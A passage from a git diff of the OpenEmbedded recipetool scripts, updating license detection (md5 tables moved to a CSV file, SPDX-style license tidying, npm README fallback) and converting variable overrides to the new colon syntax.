fetchuri = bb.fetch2.encodeurl((scheme, network, path, user, passwd, params))
tmpparent = tinfoil.config_data.getVar('BASE_WORKDIR')
@@ -527,10 +530,9 @@ def create_recipe(args):
# Remove HEAD reference point and drop remote prefix
get_branch = [x.split('/', 1)[1] for x in get_branch if not x.startswith('origin/HEAD')]
if 'master' in get_branch:
- # If it is master, we do not need to append 'branch=master' as this is default.
# Even with the case where get_branch has multiple objects, if 'master' is one
# of them, we should default take from 'master'
- srcbranch = ''
+ srcbranch = 'master'
elif len(get_branch) == 1:
# If 'master' isn't in get_branch and get_branch contains only ONE object, then store result into 'srcbranch'
srcbranch = get_branch[0]
@@ -543,8 +545,8 @@ def create_recipe(args):
# Since we might have a value in srcbranch, we need to
# recontruct the srcuri to include 'branch' in params.
scheme, network, path, user, passwd, params = bb.fetch2.decodeurl(srcuri)
- if srcbranch:
- params['branch'] = srcbranch
+ if scheme in ['git', 'gitsm']:
+ params['branch'] = srcbranch or 'master'
if storeTagName and scheme in ['git', 'gitsm']:
# Check srcrev using tag and check validity of the tag
@@ -603,7 +605,7 @@ def create_recipe(args):
splitline = line.split()
if len(splitline) > 1:
if splitline[0] == 'origin' and scriptutils.is_src_url(splitline[1]):
- srcuri = reformat_git_uri(splitline[1])
+ srcuri = reformat_git_uri(splitline[1]) + ';branch=master'
srcsubdir = 'git'
break
@@ -710,7 +712,7 @@ def create_recipe(args):
lines_after.append('')
if args.binary:
- lines_after.append('INSANE_SKIP_${PN} += "already-stripped"')
+ lines_after.append('INSANE_SKIP:${PN} += "already-stripped"')
lines_after.append('')
if args.npm_dev:
@@ -917,6 +919,22 @@ def split_value(value):
else:
return value
+def fixup_license(value):
+ # Ensure licenses with OR starts and ends with brackets
+ if '|' in value:
+ return '(' + value + ')'
+ return value
+
+def tidy_licenses(value):
+ """Flat, split and sort licenses"""
+ from oe.license import flattened_licenses
+ def _choose(a, b):
+ str_a, str_b = sorted((" & ".join(a), " & ".join(b)), key=str.casefold)
+ return ["(%s | %s)" % (str_a, str_b)]
+ if not isinstance(value, str):
+ value = " & ".join(value)
+ return sorted(list(set(flattened_licenses(value, _choose))), key=str.casefold)
+
def handle_license_vars(srctree, lines_before, handled, extravalues, d):
lichandled = [x for x in handled if x[0] == 'license']
if lichandled:
@@ -930,10 +948,13 @@ def handle_license_vars(srctree, lines_before, handled, extravalues, d):
lines = []
if licvalues:
for licvalue in licvalues:
- if not licvalue[0] in licenses:
- licenses.append(licvalue[0])
+ license = licvalue[0]
+ lics = tidy_licenses(fixup_license(license))
+ lics = [lic for lic in lics if lic not in licenses]
+ if len(lics):
+ licenses.extend(lics)
lic_files_chksum.append('file://%s;md5=%s' % (licvalue[1], licvalue[2]))
- if licvalue[0] == 'Unknown':
+ if license == 'Unknown':
lic_unknown.append(licvalue[1])
if lic_unknown:
lines.append('#')
@@ -942,9 +963,7 @@ def handle_license_vars(srctree, lines_before, handled, extravalues, d):
for licfile in lic_unknown:
lines.append('# %s' % licfile)
- extra_license = split_value(extravalues.pop('LICENSE', []))
- if '&' in extra_license:
- extra_license.remove('&')
+ extra_license = tidy_licenses(extravalues.pop('LICENSE', ''))
if extra_license:
if licenses == ['Unknown']:
licenses = extra_license
@@ -985,7 +1004,7 @@ def handle_license_vars(srctree, lines_before, handled, extravalues, d):
lines.append('# instead of &. If there is any doubt, check the accompanying documentation')
lines.append('# to determine which situation is applicable.')
- lines.append('LICENSE = "%s"' % ' & '.join(licenses))
+ lines.append('LICENSE = "%s"' % ' & '.join(sorted(licenses, key=str.casefold)))
lines.append('LIC_FILES_CHKSUM = "%s"' % ' \\\n '.join(lic_files_chksum))
lines.append('')
@@ -1002,55 +1021,37 @@ def handle_license_vars(srctree, lines_before, handled, extravalues, d):
handled.append(('license', licvalues))
return licvalues
-def get_license_md5sums(d, static_only=False):
+def get_license_md5sums(d, static_only=False, linenumbers=False):
import bb.utils
+ import csv
md5sums = {}
- if not static_only:
+ if not static_only and not linenumbers:
# Gather md5sums of license files in common license dir
commonlicdir = d.getVar('COMMON_LICENSE_DIR')
for fn in os.listdir(commonlicdir):
md5value = bb.utils.md5_file(os.path.join(commonlicdir, fn))
md5sums[md5value] = fn
+
# The following were extracted from common values in various recipes
# (double checking the license against the license file itself, not just
# the LICENSE value in the recipe)
- md5sums['94d55d512a9ba36caa9b7df079bae19f'] = 'GPLv2'
- md5sums['b234ee4d69f5fce4486a80fdaf4a4263'] = 'GPLv2'
- md5sums['59530bdf33659b29e73d4adb9f9f6552'] = 'GPLv2'
- md5sums['0636e73ff0215e8d672dc4c32c317bb3'] = 'GPLv2'
- md5sums['eb723b61539feef013de476e68b5c50a'] = 'GPLv2'
- md5sums['751419260aa954499f7abaabaa882bbe'] = 'GPLv2'
- md5sums['393a5ca445f6965873eca0259a17f833'] = 'GPLv2'
- md5sums['12f884d2ae1ff87c09e5b7ccc2c4ca7e'] = 'GPLv2'
- md5sums['8ca43cbc842c2336e835926c2166c28b'] = 'GPLv2'
- md5sums['ebb5c50ab7cab4baeffba14977030c07'] = 'GPLv2'
- md5sums['c93c0550bd3173f4504b2cbd8991e50b'] = 'GPLv2'
- md5sums['9ac2e7cff1ddaf48b6eab6028f23ef88'] = 'GPLv2'
- md5sums['4325afd396febcb659c36b49533135d4'] = 'GPLv2'
- md5sums['18810669f13b87348459e611d31ab760'] = 'GPLv2'
- md5sums['d7810fab7487fb0aad327b76f1be7cd7'] = 'GPLv2' # the Linux kernel's COPYING file
- md5sums['bbb461211a33b134d42ed5ee802b37ff'] = 'LGPLv2.1'
- md5sums['7fbc338309ac38fefcd64b04bb903e34'] = 'LGPLv2.1'
- md5sums['4fbd65380cdd255951079008b364516c'] = 'LGPLv2.1'
- md5sums['2d5025d4aa3495befef8f17206a5b0a1'] = 'LGPLv2.1'
- md5sums['fbc093901857fcd118f065f900982c24'] = 'LGPLv2.1'
- md5sums['a6f89e2100d9b6cdffcea4f398e37343'] = 'LGPLv2.1'
- md5sums['d8045f3b8f929c1cb29a1e3fd737b499'] = 'LGPLv2.1'
- md5sums['fad9b3332be894bab9bc501572864b29'] = 'LGPLv2.1'
- md5sums['3bf50002aefd002f49e7bb854063f7e7'] = 'LGPLv2'
- md5sums['9f604d8a4f8e74f4f5140845a21b6674'] = 'LGPLv2'
- md5sums['5f30f0716dfdd0d91eb439ebec522ec2'] = 'LGPLv2'
- md5sums['55ca817ccb7d5b5b66355690e9abc605'] = 'LGPLv2'
- md5sums['252890d9eee26aab7b432e8b8a616475'] = 'LGPLv2'
- md5sums['3214f080875748938ba060314b4f727d'] = 'LGPLv2'
- md5sums['db979804f025cf55aabec7129cb671ed'] = 'LGPLv2'
- md5sums['d32239bcb673463ab874e80d47fae504'] = 'GPLv3'
- md5sums['f27defe1e96c2e1ecd4e0c9be8967949'] = 'GPLv3'
- md5sums['6a6a8e020838b23406c81b19c1d46df6'] = 'LGPLv3'
- md5sums['3b83ef96387f14655fc854ddc3c6bd57'] = 'Apache-2.0'
- md5sums['385c55653886acac3821999a3ccd17b3'] = 'Artistic-1.0 | GPL-2.0' # some perl modules
- md5sums['54c7042be62e169199200bc6477f04d1'] = 'BSD-3-Clause'
- md5sums['bfe1f75d606912a4111c90743d6c7325'] = 'MPL-1.1'
+
+ # Read license md5sums from csv file
+ scripts_path = os.path.dirname(os.path.realpath(__file__))
+ for path in (d.getVar('BBPATH').split(':')
+ + [os.path.join(scripts_path, '..', '..')]):
+ csv_path = os.path.join(path, 'lib', 'recipetool', 'licenses.csv')
+ if os.path.isfile(csv_path):
+ with open(csv_path, newline='') as csv_file:
+ fieldnames = ['md5sum', 'license', 'beginline', 'endline', 'md5']
+ reader = csv.DictReader(csv_file, delimiter=',', fieldnames=fieldnames)
+ for row in reader:
+ if linenumbers:
+ md5sums[row['md5sum']] = (
+ row['license'], row['beginline'], row['endline'], row['md5'])
+ else:
+ md5sums[row['md5sum']] = row['license']
+
return md5sums
def crunch_license(licfile):
@@ -1066,54 +1067,127 @@ def crunch_license(licfile):
import oe.utils
# Note: these are carefully constructed!
- license_title_re = re.compile(r'^\(?(#+ *)?(The )?.{1,10} [Ll]icen[sc]e( \(.{1,10}\))?\)?:?$')
- license_statement_re = re.compile(r'^(This (project|software) is( free software)? (released|licen[sc]ed)|(Released|Licen[cs]ed)) under the .{1,10} [Ll]icen[sc]e:?$')
- copyright_re = re.compile('^(#+)? *Copyright .*$')
+ license_title_re = re.compile(r'^#*\(? *(This is )?([Tt]he )?.{0,15} ?[Ll]icen[sc]e( \(.{1,10}\))?\)?[:\.]? ?#*$')
+ license_statement_re = re.compile(r'^((This (project|software)|.{1,10}) is( free software)? (released|licen[sc]ed)|(Released|Licen[cs]ed)) under the .{1,10} [Ll]icen[sc]e:?$')
+ copyright_re = re.compile('^ *[#\*]* *(Modified work |MIT LICENSED )?Copyright ?(\([cC]\))? .*$')
+ disclaimer_re = re.compile('^ *\*? ?All [Rr]ights [Rr]eserved\.$')
+ email_re = re.compile('^.*<[\w\.-]*@[\w\.\-]*>$')
+ header_re = re.compile('^(\/\**!?)? ?[\-=\*]* ?(\*\/)?$')
+ tag_re = re.compile('^ *@?\(?([Ll]icense|MIT)\)?$')
+ url_re = re.compile('^ *[#\*]* *https?:\/\/[\w\.\/\-]+$')
crunched_md5sums = {}
+
+ # common licenses
+ crunched_md5sums['89f3bf322f30a1dcfe952e09945842f0'] = 'Apache-2.0'
+ crunched_md5sums['13b6fe3075f8f42f2270a748965bf3a1'] = 'BSD-0-Clause'
+ crunched_md5sums['ba87a7d7c20719c8df4b8beed9b78c43'] = 'BSD-2-Clause'
+ crunched_md5sums['7f8892c03b72de419c27be4ebfa253f8'] = 'BSD-3-Clause'
+ crunched_md5sums['21128c0790b23a8a9f9e260d5f6b3619'] = 'BSL-1.0'
+ crunched_md5sums['975742a59ae1b8abdea63a97121f49f4'] = 'EDL-1.0'
+ crunched_md5sums['5322cee4433d84fb3aafc9e253116447'] = 'EPL-1.0'
+ crunched_md5sums['6922352e87de080f42419bed93063754'] = 'EPL-2.0'
+ crunched_md5sums['793475baa22295cae1d3d4046a3a0ceb'] = 'GPL-2.0-only'
+ crunched_md5sums['ff9047f969b02c20f0559470df5cb433'] = 'GPL-2.0-or-later'
+ crunched_md5sums['ea6de5453fcadf534df246e6cdafadcd'] = 'GPL-3.0-only'
+ crunched_md5sums['b419257d4d153a6fde92ddf96acf5b67'] = 'GPL-3.0-or-later'
+ crunched_md5sums['228737f4c49d3ee75b8fb3706b090b84'] = 'ISC'
+ crunched_md5sums['c6a782e826ca4e85bf7f8b89435a677d'] = 'LGPL-2.0-only'
+ crunched_md5sums['32d8f758a066752f0db09bd7624b8090'] = 'LGPL-2.0-or-later'
+ crunched_md5sums['4820937eb198b4f84c52217ed230be33'] = 'LGPL-2.1-only'
+ crunched_md5sums['db13fe9f3a13af7adab2dc7a76f9e44a'] = 'LGPL-2.1-or-later'
+ crunched_md5sums['d7a0f2e4e0950e837ac3eabf5bd1d246'] = 'LGPL-3.0-only'
+ crunched_md5sums['abbf328e2b434f9153351f06b9f79d02'] = 'LGPL-3.0-or-later'
+ crunched_md5sums['eecf6429523cbc9693547cf2db790b5c'] = 'MIT'
+ crunched_md5sums['b218b0e94290b9b818c4be67c8e1cc82'] = 'MIT-0'
+ crunched_md5sums['ddc18131d6748374f0f35a621c245b49'] = 'Unlicense'
+ crunched_md5sums['51f9570ff32571fc0a443102285c5e33'] = 'WTFPL'
+
# The following two were gleaned from the "forever" npm package
crunched_md5sums['0a97f8e4cbaf889d6fa51f84b89a79f6'] = 'ISC'
- crunched_md5sums['eecf6429523cbc9693547cf2db790b5c'] = 'MIT'
- # https://github.com/vasi/pixz/blob/master/LICENSE
- crunched_md5sums['2f03392b40bbe663597b5bd3cc5ebdb9'] = 'BSD-2-Clause'
# https://github.com/waffle-gl/waffle/blob/master/LICENSE.txt
- crunched_md5sums['e72e5dfef0b1a4ca8a3d26a60587db66'] = 'BSD-2-Clause'
+ crunched_md5sums['50fab24ce589d69af8964fdbfe414c60'] = 'BSD-2-Clause'
# https://github.com/spigwitmer/fakeds1963s/blob/master/LICENSE
- crunched_md5sums['8be76ac6d191671f347ee4916baa637e'] = 'GPLv2'
- # https://github.com/datto/dattobd/blob/master/COPYING
- # http://git.savannah.gnu.org/cgit/freetype/freetype2.git/tree/docs/GPLv2.TXT
- crunched_md5sums['1d65c5ad4bf6489f85f4812bf08ae73d'] = 'GPLv2'
+ crunched_md5sums['88a4355858a1433fea99fae34a44da88'] = 'GPLv2'
# http://www.gnu.org/licenses/old-licenses/gpl-2.0.txt
- # http://git.neil.brown.name/?p=mdadm.git;a=blob;f=COPYING;h=d159169d1050894d3ea3b98e1c965c4058208fe1;hb=HEAD
- crunched_md5sums['fb530f66a7a89ce920f0e912b5b66d4b'] = 'GPLv2'
- # https://github.com/gkos/nrf24/blob/master/COPYING
- crunched_md5sums['7b6aaa4daeafdfa6ed5443fd2684581b'] = 'GPLv2'
- # https://github.com/josch09/resetusb/blob/master/COPYING
- crunched_md5sums['8b8ac1d631a4d220342e83bcf1a1fbc3'] = 'GPLv3'
+ crunched_md5sums['063b5c3ebb5f3aa4c85a2ed18a31fbe7'] = 'GPLv2'
# https://github.com/FFmpeg/FFmpeg/blob/master/COPYING.LGPLv2.1
- crunched_md5sums['2ea316ed973ae176e502e2297b574bb3'] = 'LGPLv2.1'
+ crunched_md5sums['7f5202f4d44ed15dcd4915f5210417d8'] = 'LGPLv2.1'
# unixODBC-2.3.4 COPYING
- crunched_md5sums['1daebd9491d1e8426900b4fa5a422814'] = 'LGPLv2.1'
+ crunched_md5sums['3debde09238a8c8e1f6a847e1ec9055b'] = 'LGPLv2.1'
# https://github.com/FFmpeg/FFmpeg/blob/master/COPYING.LGPLv3
- crunched_md5sums['2ebfb3bb49b9a48a075cc1425e7f4129'] = 'LGPLv3'
+ crunched_md5sums['f90c613c51aa35da4d79dd55fc724ceb'] = 'LGPLv3'
# https://raw.githubusercontent.com/eclipse/mosquitto/v1.4.14/epl-v10
crunched_md5sums['efe2cb9a35826992b9df68224e3c2628'] = 'EPL-1.0'
- # https://raw.githubusercontent.com/eclipse/mosquitto/v1.4.14/edl-v10
- crunched_md5sums['0a9c78c0a398d1bbce4a166757d60387'] = 'EDL-1.0'
+
+ # https://raw.githubusercontent.com/jquery/esprima/3.1.3/LICENSE.BSD
+ crunched_md5sums['80fa7b56a28e8c902e6af194003220a5'] = 'BSD-2-Clause'
+ # https://raw.githubusercontent.com/npm/npm-install-checks/master/LICENSE
+ crunched_md5sums['e659f77bfd9002659e112d0d3d59b2c1'] = 'BSD-2-Clause'
+ # https://raw.githubusercontent.com/silverwind/default-gateway/4.2.0/LICENSE
+ crunched_md5sums['4c641f2d995c47f5cb08bdb4b5b6ea05'] = 'BSD-2-Clause'
+ # https://raw.githubusercontent.com/tad-lispy/node-damerau-levenshtein/v1.0.5/LICENSE
+ crunched_md5sums['2b8c039b2b9a25f0feb4410c4542d346'] = 'BSD-2-Clause'
+ # https://raw.githubusercontent.com/terser/terser/v3.17.0/LICENSE
+ crunched_md5sums['8bd23871802951c9ad63855151204c2c'] = 'BSD-2-Clause'
+ # https://raw.githubusercontent.com/alexei/sprintf.js/1.0.3/LICENSE
+ crunched_md5sums['008c22318c8ea65928bf730ddd0273e3'] = 'BSD-3-Clause'
+ # https://raw.githubusercontent.com/Caligatio/jsSHA/v3.2.0/LICENSE
+ crunched_md5sums['0e46634a01bfef056892949acaea85b1'] = 'BSD-3-Clause'
+ # https://raw.githubusercontent.com/d3/d3-path/v1.0.9/LICENSE
+ crunched_md5sums['b5f72aef53d3b2b432702c30b0215666'] = 'BSD-3-Clause'
+ # https://raw.githubusercontent.com/feross/ieee754/v1.1.13/LICENSE
+ crunched_md5sums['a39327c997c20da0937955192d86232d'] = 'BSD-3-Clause'
+ # https://raw.githubusercontent.com/joyent/node-extsprintf/v1.3.0/LICENSE
+ crunched_md5sums['721f23a96ff4161ca3a5f071bbe18108'] = 'MIT'
+ # https://raw.githubusercontent.com/pvorb/clone/v0.2.0/LICENSE
+ crunched_md5sums['b376d29a53c9573006b9970709231431'] = 'MIT'
+ # https://raw.githubusercontent.com/andris9/encoding/v0.1.12/LICENSE
+ crunched_md5sums['85d8a977ee9d7c5ab4ac03c9b95431c4'] = 'MIT-0'
+ # https://raw.githubusercontent.com/faye/websocket-driver-node/0.7.3/LICENSE.md
+ crunched_md5sums['b66384e7137e41a9b1904ef4d39703b6'] = 'Apache-2.0'
+ # https://raw.githubusercontent.com/less/less.js/v4.1.1/LICENSE
+ crunched_md5sums['b27575459e02221ccef97ec0bfd457ae'] = 'Apache-2.0'
+ # https://raw.githubusercontent.com/microsoft/TypeScript/v3.5.3/LICENSE.txt
+ crunched_md5sums['a54a1a6a39e7f9dbb4a23a42f5c7fd1c'] = 'Apache-2.0'
+ # https://raw.githubusercontent.com/request/request/v2.87.0/LICENSE
+ crunched_md5sums['1034431802e57486b393d00c5d262b8a'] = 'Apache-2.0'
+ # https://raw.githubusercontent.com/dchest/tweetnacl-js/v0.14.5/LICENSE
+ crunched_md5sums['75605e6bdd564791ab698fca65c94a4f'] = 'Unlicense'
+ # https://raw.githubusercontent.com/stackgl/gl-mat3/v2.0.0/LICENSE.md
+ crunched_md5sums['75512892d6f59dddb6d1c7e191957e9c'] = 'Zlib'
+
lictext = []
with open(licfile, 'r', errors='surrogateescape') as f:
for line in f:
# Drop opening statements
if copyright_re.match(line):
continue
+ elif disclaimer_re.match(line):
+ continue
+ elif email_re.match(line):
+ continue
+ elif header_re.match(line):
+ continue
+ elif tag_re.match(line):
+ continue
+ elif url_re.match(line):
+ continue
elif license_title_re.match(line):
continue
elif license_statement_re.match(line):
continue
- # Squash spaces, and replace smart quotes, double quotes
- # and backticks with single quotes
+ # Strip comment symbols
+ line = line.replace('*', '') \
+ .replace('#', '')
+ # Unify spelling
+ line = line.replace('sub-license', 'sublicense')
+ # Squash spaces
line = oe.utils.squashspaces(line.strip())
+ # Replace smart quotes, double quotes and backticks with single quotes
line = line.replace(u"\u2018", "'").replace(u"\u2019", "'").replace(u"\u201c","'").replace(u"\u201d", "'").replace('"', '\'').replace('`', '\'')
+ # Unify brackets
+ line = line.replace("{", "[").replace("}", "]")
if line:
lictext.append(line)
@@ -1133,28 +1207,35 @@ def guess_license(srctree, d):
licenses = []
licspecs = ['*LICEN[CS]E*', 'COPYING*', '*[Ll]icense*', 'LEGAL*', '[Ll]egal*', '*GPL*', 'README.lic*', 'COPYRIGHT*', '[Cc]opyright*', 'e[dp]l-v10']
+ skip_extensions = (".html", ".js", ".json", ".svg", ".ts")
licfiles = []
for root, dirs, files in os.walk(srctree):
for fn in files:
+ if fn.endswith(skip_extensions):
+ continue
for spec in licspecs:
if fnmatch.fnmatch(fn, spec):
fullpath = os.path.join(root, fn)
if not fullpath in licfiles:
licfiles.append(fullpath)
- for licfile in licfiles:
+ for licfile in sorted(licfiles):
md5value = bb.utils.md5_file(licfile)
license = md5sums.get(md5value, None)
if not license:
license, crunched_md5, lictext = crunch_license(licfile)
- if not license:
+ if lictext and not license:
license = 'Unknown'
- licenses.append((license, os.path.relpath(licfile, srctree), md5value))
+ logger.info("Please add the following line for '%s' to a 'lib/recipetool/licenses.csv' " \
+ "and replace `Unknown` with the license:\n" \
+ "%s,Unknown" % (os.path.relpath(licfile, srctree), md5value))
+ if license:
+ licenses.append((license, os.path.relpath(licfile, srctree), md5value))
# FIXME should we grab at least one source file with a license header and add that too?
return licenses
-def split_pkg_licenses(licvalues, packages, outlines, fallback_licenses=None, pn='${PN}'):
+def split_pkg_licenses(licvalues, packages, outlines, fallback_licenses=[], pn='${PN}'):
"""
Given a list of (license, path, md5sum) as returned by guess_license(),
a dict of package name to path mappings, write out a set of
@@ -1162,6 +1243,7 @@ def split_pkg_licenses(licvalues, packages, outlines, fallback_licenses=None, pn
"""
pkglicenses = {pn: []}
for license, licpath, _ in licvalues:
+ license = fixup_license(license)
for pkgname, pkgpath in packages.items():
if licpath.startswith(pkgpath + '/'):
if pkgname in pkglicenses:
@@ -1174,11 +1256,14 @@ def split_pkg_licenses(licvalues, packages, outlines, fallback_licenses=None, pn
pkglicenses[pn].append(license)
outlicenses = {}
for pkgname in packages:
- license = ' '.join(list(set(pkglicenses.get(pkgname, ['Unknown'])))) or 'Unknown'
+ # Assume AND operator between license files
+ license = ' & '.join(list(set(pkglicenses.get(pkgname, ['Unknown'])))) or 'Unknown'
if license == 'Unknown' and pkgname in fallback_licenses:
license = fallback_licenses[pkgname]
- outlines.append('LICENSE_%s = "%s"' % (pkgname, license))
- outlicenses[pkgname] = license.split()
+ licenses = tidy_licenses(license)
+ license = ' & '.join(licenses)
+ outlines.append('LICENSE:%s = "%s"' % (pkgname, license))
+ outlicenses[pkgname] = licenses
return outlicenses
def read_pkgconfig_provides(d):
diff --git a/scripts/lib/recipetool/create_buildsys.py b/scripts/lib/recipetool/create_buildsys.py
index 35a97c9345..5015634476 100644
--- a/scripts/lib/recipetool/create_buildsys.py
+++ b/scripts/lib/recipetool/create_buildsys.py
@@ -545,7 +545,7 @@ class AutotoolsRecipeHandler(RecipeHandler):
deps.append('zlib')
elif keyword in ('AX_CHECK_OPENSSL', 'AX_LIB_CRYPTO'):
deps.append('openssl')
- elif keyword == 'AX_LIB_CURL':
+ elif keyword in ('AX_LIB_CURL', 'LIBCURL_CHECK_CONFIG'):
deps.append('curl')
elif keyword == 'AX_LIB_BEECRYPT':
deps.append('beecrypt')
@@ -624,6 +624,7 @@ class AutotoolsRecipeHandler(RecipeHandler):
'AX_CHECK_OPENSSL',
'AX_LIB_CRYPTO',
'AX_LIB_CURL',
+ 'LIBCURL_CHECK_CONFIG',
'AX_LIB_BEECRYPT',
'AX_LIB_EXPAT',
'AX_LIB_GCRYPT',
diff --git a/scripts/lib/recipetool/create_buildsys_python.py b/scripts/lib/recipetool/create_buildsys_python.py
index adfa377956..0b6b042ed1 100644
--- a/scripts/lib/recipetool/create_buildsys_python.py
+++ b/scripts/lib/recipetool/create_buildsys_python.py
@@ -45,9 +45,9 @@ class PythonRecipeHandler(RecipeHandler):
'Summary': 'SUMMARY',
'Description': 'DESCRIPTION',
'License': 'LICENSE',
- 'Requires': 'RDEPENDS_${PN}',
- 'Provides': 'RPROVIDES_${PN}',
- 'Obsoletes': 'RREPLACES_${PN}',
+ 'Requires': 'RDEPENDS:${PN}',
+ 'Provides': 'RPROVIDES:${PN}',
+ 'Obsoletes': 'RREPLACES:${PN}',
}
# PN/PV are already set by recipetool core & desc can be extremely long
excluded_fields = [
@@ -101,7 +101,7 @@ class PythonRecipeHandler(RecipeHandler):
'License :: OSI Approved :: Apple Public Source License': 'APSL',
'License :: OSI Approved :: Artistic License': 'Artistic',
'License :: OSI Approved :: Attribution Assurance License': 'AAL',
- 'License :: OSI Approved :: BSD License': 'BSD',
+ 'License :: OSI Approved :: BSD License': 'BSD-3-Clause',
'License :: OSI Approved :: Common Public License': 'CPL',
'License :: OSI Approved :: Eiffel Forum License': 'EFL',
'License :: OSI Approved :: European Union Public Licence 1.0 (EUPL 1.0)': 'EUPL-1.0',
@@ -301,7 +301,7 @@ class PythonRecipeHandler(RecipeHandler):
inst_req_deps = ('python3-' + r.replace('.', '-').lower() for r in sorted(inst_reqs))
lines_after.append('# WARNING: the following rdepends are from setuptools install_requires. These')
lines_after.append('# upstream names may not correspond exactly to bitbake package names.')
- lines_after.append('RDEPENDS_${{PN}} += "{}"'.format(' '.join(inst_req_deps)))
+ lines_after.append('RDEPENDS:${{PN}} += "{}"'.format(' '.join(inst_req_deps)))
if mapped_deps:
name = info.get('Name')
@@ -313,7 +313,7 @@ class PythonRecipeHandler(RecipeHandler):
lines_after.append('')
lines_after.append('# WARNING: the following rdepends are determined through basic analysis of the')
lines_after.append('# python sources, and might not be 100% accurate.')
- lines_after.append('RDEPENDS_${{PN}} += "{}"'.format(' '.join(sorted(mapped_deps))))
+ lines_after.append('RDEPENDS:${{PN}} += "{}"'.format(' '.join(sorted(mapped_deps))))
unmapped_deps -= set(extensions)
unmapped_deps -= set(self.assume_provided)
@@ -545,7 +545,7 @@ class PythonRecipeHandler(RecipeHandler):
with open(pkgdatafile, 'r') as f:
for line in f.readlines():
field, value = line.split(': ', 1)
- if field == 'FILES_INFO':
+ if field.startswith('FILES_INFO'):
files_info = ast.literal_eval(value)
break
else:
diff --git a/scripts/lib/recipetool/create_kmod.py b/scripts/lib/recipetool/create_kmod.py
index 85b5c48e53..cc00106961 100644
--- a/scripts/lib/recipetool/create_kmod.py
+++ b/scripts/lib/recipetool/create_kmod.py
@@ -113,7 +113,7 @@ class KernelModuleRecipeHandler(RecipeHandler):
kdirpath, _ = check_target(compile_lines, install=False)
if manual_install or not install_lines:
- lines_after.append('EXTRA_OEMAKE_append_task-install = " -C ${STAGING_KERNEL_DIR} M=${S}"')
+ lines_after.append('EXTRA_OEMAKE:append:task-install = " -C ${STAGING_KERNEL_DIR} M=${S}"')
elif install_target and install_target != 'modules_install':
lines_after.append('MODULES_INSTALL_TARGET = "install"')
diff --git a/scripts/lib/recipetool/create_npm.py b/scripts/lib/recipetool/create_npm.py
index 579b7ae48a..3394a89970 100644
--- a/scripts/lib/recipetool/create_npm.py
+++ b/scripts/lib/recipetool/create_npm.py
@@ -6,6 +6,7 @@
"""Recipe creation tool - npm module support plugin"""
import json
+import logging
import os
import re
import sys
@@ -14,8 +15,10 @@ import bb
from bb.fetch2.npm import NpmEnvironment
from bb.fetch2.npmsw import foreach_dependencies
from recipetool.create import RecipeHandler
+from recipetool.create import get_license_md5sums
from recipetool.create import guess_license
from recipetool.create import split_pkg_licenses
+logger = logging.getLogger('recipetool')
TINFOIL = None
@@ -118,23 +121,33 @@ class NpmRecipeHandler(RecipeHandler):
licfiles = []
packages = {}
- def _licfiles_append(licfile):
- """Append 'licfile' to the license files list"""
- licfilepath = os.path.join(srctree, licfile)
- licmd5 = bb.utils.md5_file(licfilepath)
- licfiles.append("file://%s;md5=%s" % (licfile, licmd5))
-
# Handle the parent package
- _licfiles_append("package.json")
packages["${PN}"] = ""
+ def _licfiles_append_fallback_readme_files(destdir):
+ """Append README files as fallback to license files if a license files is missing"""
+
+ fallback = True
+ readmes = []
+ basedir = os.path.join(srctree, destdir)
+ for fn in os.listdir(basedir):
+ upper = fn.upper()
+ if upper.startswith("README"):
+ fullpath = os.path.join(basedir, fn)
+ readmes.append(fullpath)
+ if upper.startswith("COPYING") or "LICENCE" in upper or "LICENSE" in upper:
+ fallback = False
+ if fallback:
+ for readme in readmes:
+ licfiles.append(os.path.relpath(readme, srctree))
+
# Handle the dependencies
def _handle_dependency(name, params, deptree):
suffix = "-".join([self._npm_name(dep) for dep in deptree])
destdirs = [os.path.join("node_modules", dep) for dep in deptree]
destdir = os.path.join(*destdirs)
- _licfiles_append(os.path.join(destdir, "package.json"))
packages["${PN}-" + suffix] = destdir
+ _licfiles_append_fallback_readme_files(destdir)
with open(shrinkwrap_file, "r") as f:
shrinkwrap = json.load(f)
@@ -204,6 +217,9 @@ class NpmRecipeHandler(RecipeHandler):
self._run_npm_install(d, srctree, registry, dev)
shrinkwrap_file = self._generate_shrinkwrap(d, srctree, dev)
+ with open(shrinkwrap_file, "r") as f:
+ shrinkwrap = json.load(f)
+
if os.path.exists(lock_copy):
bb.utils.movefile(lock_copy, lock_file)
@@ -226,7 +242,8 @@ class NpmRecipeHandler(RecipeHandler):
value = origvalue.replace("version=" + data["version"], "version=${PV}")
value = value.replace("version=latest", "version=${PV}")
values = [line.strip() for line in value.strip('\n').splitlines()]
- values.append(url_recipe)
+ if "dependencies" in shrinkwrap:
+ values.append(url_recipe)
return values, None, 4, False
(_, newlines) = bb.utils.edit_metadata(lines_before, ["SRC_URI"], _handle_srcuri)
@@ -242,8 +259,35 @@ class NpmRecipeHandler(RecipeHandler):
bb.note("Handling licences ...")
(licfiles, packages) = self._handle_licenses(srctree, shrinkwrap_file, dev)
- extravalues["LIC_FILES_CHKSUM"] = licfiles
- split_pkg_licenses(guess_license(srctree, d), packages, lines_after, [])
+
+ def _guess_odd_license(licfiles):
+ import bb
+
+ md5sums = get_license_md5sums(d, linenumbers=True)
+
+ chksums = []
+ licenses = []
+ for licfile in licfiles:
+ f = os.path.join(srctree, licfile)
+ md5value = bb.utils.md5_file(f)
+ (license, beginline, endline, md5) = md5sums.get(md5value,
+ (None, "", "", ""))
+ if not license:
+ license = "Unknown"
+ logger.info("Please add the following line for '%s' to a "
+ "'lib/recipetool/licenses.csv' and replace `Unknown`, "
+ "`X`, `Y` and `MD5` with the license, begin line, "
+ "end line and partial MD5 checksum:\n" \
+ "%s,Unknown,X,Y,MD5" % (licfile, md5value))
+ chksums.append("file://%s%s%s;md5=%s" % (licfile,
+ ";beginline=%s" % (beginline) if beginline else "",
+ ";endline=%s" % (endline) if endline else "",
+ md5 if md5 else md5value))
+ licenses.append((license, licfile, md5value))
+ return (licenses, chksums)
+
+ (licenses, extravalues["LIC_FILES_CHKSUM"]) = _guess_odd_license(licfiles)
+ split_pkg_licenses([*licenses, *guess_license(srctree, d)], packages, lines_after)
classes.append("npm")
handled.append("buildsystem")
diff --git a/scripts/lib/recipetool/licenses.csv b/scripts/lib/recipetool/licenses.csv
new file mode 100644
index 0000000000..0d3fb0607b
--- /dev/null
+++ b/scripts/lib/recipetool/licenses.csv
@@ -0,0 +1,37 @@
+0636e73ff0215e8d672dc4c32c317bb3,GPLv2
+12f884d2ae1ff87c09e5b7ccc2c4ca7e,GPLv2
+18810669f13b87348459e611d31ab760,GPLv2
+252890d9eee26aab7b432e8b8a616475,LGPLv2
+2d5025d4aa3495befef8f17206a5b0a1,LGPLv2.1
